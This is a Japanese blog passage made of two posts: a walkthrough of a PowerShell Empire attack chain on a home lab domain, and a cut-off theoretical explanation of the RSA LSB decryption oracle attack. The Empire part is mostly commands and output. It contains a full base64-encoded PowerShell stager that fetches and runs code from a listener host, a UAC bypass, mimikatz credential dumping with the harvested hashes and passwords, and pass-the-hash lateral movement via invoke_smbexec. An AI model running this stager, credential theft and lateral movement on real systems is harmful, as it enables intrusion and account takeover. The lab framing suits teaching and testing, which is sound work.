PowerShell Empireを使う

はじめに

PowerShell Empireというペネトレーション用のツールがあります。今回はそれを使ってみましたという記事内容です。

当然ですが、自分のローカル環境以外で試してはいけません。試すときもインターネットから切り離して行うようにするとよいでしょう。またこれを公開されているサーバに実行した際に発生したすべての物事、事象に対してブログ主は一切の責任を負いません。

今回の目的ですが、ドメイン環境下のPCで別のPCに移動してみようと思います。これにはinvoke_smbexecを利用します。

環境構築

Windows Server 2012 R2の用意

以下の一連のコマンドをたたいて環境構築する。Active Directoryを入れると再起動する点だけ注意。

# Active Directoryの機能追加
Get-WindowsFeature AD-Domain-Services | Install-WindowsFeature
Import-Module ADDSDeployment
# Domain Controller構築
mkdir C:\NTDS
mkdir C:\SYSVOL

Install-ADDSForest `
-CreateDnsDelegation:$false `
-DatabasePath "C:\NTDS" `
-DomainMode "Win2012R2" `
-DomainName "pentest.local" `
-DomainNetbiosName "PENTEST" `
-ForestMode "Win2012R2" `
-InstallDns:$true `
-LogPath "C:\NTDS" `
-NoRebootOnCompletion:$false `
-SysvolPath "C:\SYSVOL" `
-Force:$true
# 再起動が入ります
# ユーザ作成
$password = ConvertTo-SecureString -AsplainText "Vict1m3" -Force
New-ADUser -Name user -DisplayName user -ChangePasswordAtLogon $false -CannotChangePassword $true -Enabled $true -AccountPassword $password
# Domain Adminsに追加
Add-ADGroupMember -Identity "Domain Admins" -Member user

これでDomain Adminsのuserを作成したActive Directory環境を作成できました。次にWin7ドメイン参加します。

Win7の用意

ドメイン参加

コントロールパネルから「システムとセキュリティ」→「システム」に移動します。するとドメインおよびワークグループの変更という部分があるのでここで変更を行います。ドメイン名は「PENTEST」と入力するとユーザ名とパスワードを求められるのでWin2012を用意した際に作成したユーザ名「user」、パスワード「Emp1r3」を入力してドメイン参加します。ここで失敗する場合はuserがDomain Adminsグループに参加していない可能性があります。

ドメインのユーザにローカルコンピュータの管理者権限を与える

Windowsキー」+「R」でプログラム名を指定して実行から「lusrmgr.msc」を実行します。ここでグループのAdministratorsグループにドメインユーザである「user」を追加します。

Kali Linuxの用意

Empireのインストール

以下のコマンドを実行してEmpireをインストールします

# apt-get upgrade
# git clone https://github.com/EmpireProject/Empire.git
# cd Empire/setup
# ./install.sh

Empireを利用する

Win7でRATを実行し、Empireで待ち受ける

Empireを利用する環境が整ったので利用していきます。

# cd ../
# ./empire
================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       285 modules currently loaded

       0 listeners currently active

       0 agents currently active

Empireを起動するとこのような画面が出ると思います。ここからWin7でRATを動かしてそれをこのEmpireで待ち受けます

Empireで待ち受けるlistenerを作成し、起動。その後Empireで待ち受けるようのRATプログラムを作成します。

(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!

ここまでの一連のコマンドで待ち受けるlistenerが作成され、待ち受ける準備が整います。次にRATプログラムを作成します。

(Empire: listeners/http) > launcher powershell
powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAFIAcwBJAE8AbgBUAEEAYgBsAEUALgBQAFMAVgBlAHIAUwBpAE8AbgAuAE0AYQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAGYAXQAuAEEAcwBTAEUAbQBiAGwAeQAuAEcARQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAGEATAB1AEUAKAAkAG4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBsAD0AWwBDAE8ATABsAEUAQwB0AEkAbwBuAFMALgBHAEUATgBFAHIASQBjAC4ARABJAGMAVABJAE8AbgBBAHIAeQBbAHMAdAByAEkAbgBnACwAUwB5AFMAdABFAG0ALgBPAEIASgBlAEMAdABdAF0AOgA6AG4AZQBXACgAKQA7ACQAdgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AGEAbAB9AEUATABzAEUAewBbAFMAYwByAGkAcABUAEIATABvAEMASwBdAC4AIgBHAGUAdABGAEkAZQBgAEwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBFAFQAVgBBAEwAVQBlACgAJABOAFUAbABMACwAKABOAGUAVwAtAE8AQgBqAGUAQwBUACAAQwBPAEwAbABlAEMAdABJAE8ATgBTAC4ARwBFAE4ARQBSAGkAYwAuAEgAQQBzAEgAUwBlAHQAWwBzAHQAcgBpAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAGUATQBiAGwAeQAuAEcARQBUAFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBlAFQARgBpAEUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEAbABVAEUAKAAkAE4AVQBsAGwALAAkAHQAcgB1AEUAKQB9ADsAfQA7AFsAUwBZAFMAdABlAE0ALgBOAEUAdAAuAFMARQBSAFYAaQBDAEUAUABPAEkAbgB0AE0AYQBuAGEAZwBFAHIAXQA6ADoARQBYAFAAZQBjAFQAMQAwADAAQwBPAG4AdABpAE4AdQBFAD0AMAA7ACQAdwBjAD0ATgBFAHcALQBPAEIASgBlAEMAVAAgAFMAWQBTAHQAZQBtAC4ATgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgAZQBBAGQARQBSAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAUgBvAHgAeQA9AFsAUwBZAFMAVABFAG0ALgBOAEUAVAAuAFcAZQBiAFIAZQBRAHUARQBTAHQAXQA6ADoARABlAGYAYQB1AGwAVABXAGUAYgBQAFIATwBYAHkAOwAkAHcAQwAuAFAAcgBPAHgAeQAuAEMAUgBlAGQAZQBuAFQAaQBBAEwAUwAgAD0AIABbAFMAWQBTAHQARQBtAC4ATgBFAFQALgBDAFIAZQBkAGUATgBUAGkAYQBsAEMAYQBjAEgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4AZQB0AFcAbwByAEsAQwBSAEUARABlAE4AVABJAEEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AGUAUwAoACcAMABkADMAOAA0AGYANAAyAGMAYwA5ADUAZgA4ADIAYwBjADQAMgA1AGEAMwAwADAAOAAzADEAYwAwADIAMQAwACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgAuADMAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBDAC4ASABlAEEARABFAHIAUwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBYAEQAbgB5AHQAKwBaAEsATgAzAEgAcABnAEwAYgBVAHoAMABxAGEAaABsAFQAVwBtAFkAPQAiACkAOwAkAGQAYQB0AGEAPQAkAFcAQwAuAEQAbwB3AG4AbABPAGEAZABEAGEAVABBACgAJABzAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQB0AEEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAGEAPQAkAGQAQQB0AEEAWwA0AC4ALgAkAGQAYQB0AEEALgBMAEUAbgBHAHQASABdADsALQBKAG8AaQBOAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
(Empire: listeners/http) >

powershellの文字からの一連のスクリプトがRATとなります。これをコピーしWin7Powershellで実行します。ちなみにlauncher pythonとするとpython用のプログラムが出力されます。

Win7で実行した後、少し待つとKali Linuxの方で下のような出力がされているはずです。されていない場合はネットワーク周りの設定を見直してください。(pingが届くかとか) ここでagentが確立されます。このagentsを用いるとコマンドの実行等ができますが、それは今回の主題ではないのでパスします。

[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent HLV5ZS3G checked in
[+] Initial agent HLV5ZS3G from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to HLV5ZS3G at 192.168.12.10

(Empire: listeners/http) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 HLV5ZS3G ps 192.168.12.10   VICTIM            PENTEST\user            powershell         1644   5/0.0    2018-08-17 15:00:09

(Empire: agents) > interact HLV5ZS3G

interact ***とすることで確立した通信に対して割り込むことが可能となります(この認識で正しいのか不明)

パスワードハッシュを入手する(bypassuacを利用した権限昇格)

ここからinvoke_smbexecを利用するためにパスワードハッシュを入手します。それにはmimikatzというツールを利用するのですが、mimikatzというツールを利用するためには管理者権限が必要となるので、まずは権限を昇格します。

権限を昇格するためにはprivesc/bypassuacというモジュールを利用します。

(Empire: HLV5ZS3G) > usemodule privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > info

              Name: Invoke-BypassUAC
            Module: powershell/privesc/bypassuac
        NeedsAdmin: False
         OpsecSafe: False
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  Leo Davidson
  @meatballs__
  @TheColonial
  @mattifestation
  @harmyj0y
  @sixdub

Description:
  Runs a BypassUAC attack to escape from a medium integrity
  process to a high integrity process. This attack was
  originally discovered by Leo Davidson. Empire uses
  components of MSF's bypassuac injection implementation as
  well as an adapted version of PowerSploit's Invoke--
  Shellcode.ps1 script for backend lifting.

Comments:
  https://github.com/mattifestation/PowerSploit/blob/master/Co
  deExecution/Invoke--Shellcode.ps1 https://github.com/rapid7
  /metasploit-framework/blob/master/modules/exploits/windows/l
  ocal/bypassuac_injection.rb https://github.com/rapid7
  /metasploit-framework/tree/master/external/source/exploits/b
  ypassuac_injection/dll/src http://www.pretentiousname.com/

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Listener   True                                  Listener to use.                        
  UserAgent  False       default                   User-agent string to use for the staging
                                                   request (default, none, or other).      
  Proxy      False       default                   Proxy to use for request (default, none,
                                                   or other).                              
  Agent      True        HLV5ZS3G                  Agent to run module on.                 
  ProxyCreds False       default                   Proxy credentials                       
                                                   ([domain\]username:password) to use for 
                                                   request (default, none, or other).      

(Empire: powershell/privesc/bypassuac) > set Listener http
(Empire: powershell/privesc/bypassuac) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked HLV5ZS3G to run TASK_CMD_JOB
[*] Agent HLV5ZS3G tasked with task ID 1
[*] Tasked agent HLV5ZS3G to run module powershell/privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > [*] Agent HLV5ZS3G returned results.
Job started: 2Y7F9M
[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent 85VHTSNY checked in
[+] Initial agent 85VHTSNY from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to 85VHTSNY at 192.168.12.10

moduleの使い方ですが、usemodule <モジュール名>と打つことでモジュールを利用するモードに移行します。

ここでinfoと打つことでモジュールに必要な情報を得ることができます。Trueと表示されているものはモジュールを実行するのに必須なオプション、Falseは埋めなくても実行可能です。実行可能ですが成功するかどうかはわかりません。Trueと表示されているものは実行しようとしても埋まっていないということで実行できません。

bypassuacListenerTrueとなっているので、設定する必要があります。今回はhttpというListener名としているのでset Listener httpと設定してexecuteをすることで実行します。

実行した結果新たな接続が確立されます。

パスワードハッシュを入手する(mimikatzを使う)

前回で権限昇格した接続が確立されたのでmimikatzを使っていきます。

(Empire: powershell/privesc/bypassuac) > interact 85VHTSNY
(Empire: 85VHTSNY) > usemodule credentials/mimikatz/logonpasswords*
(Empire: powershell/credentials/mimikatz/logonpasswords) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_JOB
[*] Agent 85VHTSNY tasked with task ID 1
[*] Tasked agent 85VHTSNY to run module powershell/credentials/mimikatz/logonpasswords
(Empire: powershell/credentials/mimikatz/logonpasswords) > [*] Agent 85VHTSNY returned results.
Job started: SKHF3V
[*] Valid results returned by 192.168.12.10
[*] Agent 85VHTSNY returned results.
Hostname: victim.pentest.local / S-1-5-21-2313106677-264397757-2816267570

  .#####.   mimikatz 2.1.1 (x86) built on Nov 12 2017 15:43:57
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 93788 (00000000:00016e5c)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 93757 (00000000:00016e3d)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-19
    msv :   
    tspkg : 
    wdigest :   
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :  
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :   
    credman :   

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-20
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

Authentication Id : 0 ; 21590 (00000000:00005456)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:43 PM
SID               : 
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
    kerberos :  
    ssp :   
    credman :   

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:42 PM
SID               : S-1-5-18
    msv :   
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

mimikatz(powershell) # exit
Bye!


[*] Valid results returned by 192.168.12.10

(Empire: powershell/credentials/mimikatz/logonpasswords) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/credentials/mimikatz/logonpasswords) > back

使い方はbypassuacの時と一緒です。実行するといろいろ出力されます。この情報はcredsと打つことで見ることができます。

結果はこのようにパスワードハッシュとパスワードの平文を手に入れてます。今度はこのパスワードハッシュを利用してドメイン上にある別のPCに移る(感染)しにいきます。

invoke_smbexecする

別のPCに移るために今回はinvoke_smbexecコマンドを利用します。

(Empire: 85VHTSNY) > usemodule lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > info

              Name: Invoke-SMBExec
            Module: powershell/lateral_movement/invoke_smbexec
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: False
   OutputExtension: None

Authors:
  @rvrsh3ll

Description:
  Executes a stager on remote hosts using SMBExec.ps1

Comments:
  https://raw.githubusercontent.com/Kevin-Robertson/Invoke-
  TheHash/master/Invoke-SMBExec.ps1

Options:

  Name         Required    Value                     Description
  ----         --------    -------                   -----------
  CredID       False                                 CredID from the store to use.           
  ComputerName True                                  Host[s] to execute the stager on, comma 
                                                     separated.                              
  Service      False                                 Name of service to create and delete.   
                                                     Defaults to 20 char random.             
  ProxyCreds   False       default                   Proxy credentials                       
                                                     ([domain\]username:password) to use for 
                                                     request (default, none, or other).      
  Username     True                                  Username.                               
  Domain       False                                 Domain.                                 
  Hash         True                                  NTLM Hash in LM:NTLM or NTLM format.    
  Agent        True        85VHTSNY                  Agent to run module on.                 
  Listener     True                                  Listener to use.                        
  Proxy        False       default                   Proxy to use for request (default, none,
                                                     or other).                              
  UserAgent    False       default                   User-agent string to use for the staging
                                                     request (default, none, or other).      

(Empire: powershell/lateral_movement/invoke_smbexec) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/lateral_movement/invoke_smbexec) > set CredID 1
(Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName 192.168.12.1
(Empire: powershell/lateral_movement/invoke_smbexec) > set Username user
(Empire: powershell/lateral_movement/invoke_smbexec) > set Domain PENTEST
(Empire: powershell/lateral_movement/invoke_smbexec) > set hash e82a5afbaa5f49c9a9e375430f3cdf05
[!] Invalid option specified.
(Empire: powershell/lateral_movement/invoke_smbexec) > set Hash e82a5afbaa5f49c9a9e375430f3cdf05
(Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http
(Empire: powershell/lateral_movement/invoke_smbexec) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_WAIT
[*] Agent 85VHTSNY tasked with task ID 2
[*] Tasked agent 85VHTSNY to run module powershell/lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > 

モジュールの使い方は一緒です、必要な情報をひたすら埋めていきます。

実行した結果は下のようになります。infoと打つことで別のPCに移動していることが確認できます。 ※前のagentの時にinfoと打ってないのでわかりにくいですが移動できています。internal_ipの値がそれを証明しています

[*] Agent 85VHTSNY returned results.
Command executed with service TIPCPSXLXSJTFJEJWAWB on 192.168.12.1


[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.1
[*] New agent 7NUPWBKG checked in
[+] Initial agent 7NUPWBKG from 192.168.12.1 now active (Slack)
[*] Sending agent (stage 2) to 7NUPWBKG at 192.168.12.1

(Empire: powershell/lateral_movement/invoke_smbexec) > interact 7NUPWBKG
(Empire: 7NUPWBKG) > info

[*] Agent info:

    nonce               7180758306521210
    jitter              0.0
    servers             None
    internal_ip         192.168.12.1
    working_hours       
    session_key         X-Tv+%o=mq_[G:h~0DH6Owajuf`z&.Vs
    children            None
    checkin_time        2018-08-17 15:22:26
    hostname            WIN-LIL2GIC6EFI
    id                  3
    delay               5
    username            PENTEST\SYSTEM
    kill_date           
    parent              None
    process_name        powershell
    listener            http
    process_id          1664
    profile             /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
    os_details          Microsoft Windows Server 2012 R2 Datacenter ???
    lost_limit          60
    taskings            None
    name                7NUPWBKG
    language            powershell
    external_ip         192.168.12.1
    session_id          7NUPWBKG
    lastseen_time       2018-08-17 15:22:38
    language_version    4
    high_integrity      1

(Empire: 7NUPWBKG) > 

対策

さて今回の実験でRATを実行したPCは条件次第では別のPCに移れてしまいます。なのでわかった時点で隔離しましょう。まずはネットワークを切りましょう。以上

LSB Decryption Oracle Attack

まえおき

LSB Oracle Attackについての記事です。この記事は証明ではなく、この攻撃が成立する性質についての理論解説になります。

2分探索によって元の暗号文が得られるのですが、なぜ2分探索を利用することができるのかということの解説ではなく、2分探索で攻撃成功するのはなぜかということの解説になります。

簡単に言うと、ある条件のときにこんな面白い性質(LSB Decryption Oracle Attack)があるけれど、なぜこの性質があるのかという説明になります。

この記事ではRSA暗号の平文をm, 暗号文をc,公開鍵はne,秘密鍵d,p,qとして説明をします

前提知識

RSAの暗号の前提と剰余算に関しての前提となる式を書いておく。

以下の式はLSB Decryption Oracle Attackを導出するのに利用するので、式の展開でなぜこうなるのかの説明がなければこの式を使っている

RSA暗号の前提

暗号化:c=m^{e}\ mod\ n

暗号化関数:enc(m)=m^{e}\ mod\ n

復号: m=c^{d}\ mod\ n

復号関数:dec(c)=c^{d}\ mod\ n

このように暗号化・復号しているので以下の等式も成り立つ

 c=(c^{d})^{e}\ mod\ n

剰余算で使える式

等式: (a\ mod\ n)\ mod\ n\ =\ a\ mod\ n

分配則:  ab\ mod\ n\ = (\ (a\ mod\ n)(b\ mod\ n)\ )\ mod\ n

LSB Oracle Attack(LSB Leak Attack)の概要

LSB Oracle Attackとは任意の暗号文を復号した結果の最下位1bitが分かるときに平文を求めることができるという攻撃手法である。

かみ砕くと任意の暗号文の偶奇が分かるとき、ある暗号文の平文を求めることが可能となる攻撃手法である。

LSB Decryption Oracle Attackの条件

この攻撃を行うにはいくつかの条件が必要である

暗号文c, 公開鍵n, e, そして f(x)=dec(x)\ mod\ 2となる関数fを攻撃者は持っている必要がある。

またこの攻撃ではcを復号した結果のmはわかるが、秘密鍵d,p,qを知ることはできない

LSB Decryption Oracle Attackの理論

まずenc(km)について考える。

enc(km)\ =\ (km)^{e}\ mod\ n\ =\ k^{e}m^{e}\ mod\ n\ =\ k^{e}c\ mod\ nが成り立つ

次にk=2の時を考える.k=2の時の関数fを考えることで2分探索が成り立つことがわかる。実際には2^{i}についてのfを計算することでmの範囲が狭まり,2分探索によって平文を求めることが可能となる

 a=2^{e}\ mod\ nとすると f(a^{i}c)=(2^{i}m\ mod\ n)\ mod\ 2

さてここでRSA暗号の性質から以下の2式が成り立つ

  •  0 \leq m \lt n
  • 0 \leq m  \lt 2(n-1)\ \  (n \gt 2)

第一式は大前提です。RSAの平文はnより小さいです. nは大きい素数であるのでn > 2が成り立ちます。またとするとn < 2(n-1)なので第二式が成り立ちます。

ここからi=1,2,3...と増やしていくことでmの範囲を狭めていく。

i=1の時

 f(ac)=(2m\ mod\ n)\ mod\ 2

である.ここで2mが偶数であり,nが奇数であり,2m<2nであることから2mをnで割った商は1か0であることがわかる.

上記より,

